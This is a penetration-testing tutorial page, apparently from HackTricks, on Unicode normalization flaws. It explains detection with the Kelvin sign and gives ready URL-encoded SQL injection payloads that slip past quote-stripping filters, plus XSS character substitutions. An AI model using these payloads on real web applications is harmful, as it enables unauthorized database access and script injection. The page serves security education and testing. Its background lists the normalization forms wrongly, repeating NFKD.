hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

# Unicode Normalization

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## Background

Normalization ensures two strings that may use a different binary representation for their characters have the same binary value after normalization.

There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”:\
**Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode** standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org.

### Unicode Encoding

Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge.\
Before we delve into Unicode attacks, the following are the main points to understand about Unicode:

* Each character or symbol is mapped to a numerical value which is referred to as a “code point”.
* The code point value (and therefore the character itself) is represented by 1 or more bytes in memory. LATIN-1 characters like those used in English speaking countries can be represented using 1 byte. Other languages have more characters and need more bytes to represent all the different code points (also since they can’t use the ones already taken by LATIN-1).
* The term “encoding” means the method in which characters are represented as a series of bytes. The most common encoding standard is UTF-8, using this encoding scheme ASCII characters can be represented using 1 byte or up to 4 bytes for other characters.
* When a system processes data it needs to know the encoding used to convert the stream of bytes to characters.
* Though UTF-8 is the most common, there are similar encoding standards named UTF-16 and UTF-32, the difference between each is the number of bytes used to represent each character. i.e. UTF-16 uses a minimum of 2 bytes (but up to 4) and UTF-32 using 4 bytes for all characters.

An example of how Unicode normalise two different bytes representing the same character:

![](<../../.gitbook/assets/image (156).png>)

**A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html)

### Discovering

If you can find inside a webapp a value that is being echoed back, you could try to send **‘KELVIN SIGN’ (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed.

Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`.

## **Vulnerable Examples**

### **SQL Injection filter bypass**

Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user.

Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:

![](<../../.gitbook/assets/image (157) (1).png>)

**Some interesting Unicode characters**

* `o` -- %e1%b4%bc
* `r` -- %e1%b4%bf
* `1` -- %c2%b9
* `=` -- %e2%81%bc
* `/` -- %ef%bc%8f
* `-`-- %ef%b9%a3
* `#`-- %ef%b9%9f
* `*`-- %ef%b9%a1
* `'` -- %ef%bc%87
* `"` -- %ef%bc%82
* `|` -- %ef%bd%9c

```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```

#### sqlmap template

{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}

### XSS (Cross Site Scripting)

You could use one of the following characters to trick the webapp and exploit a XSS:

![](<../../.gitbook/assets/image (312).png>)

Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e`

![](<../../.gitbook/assets/image (215) (1) (1).png>)

## References

**All the information of this page was taken from:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)

**Other references:**

* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)

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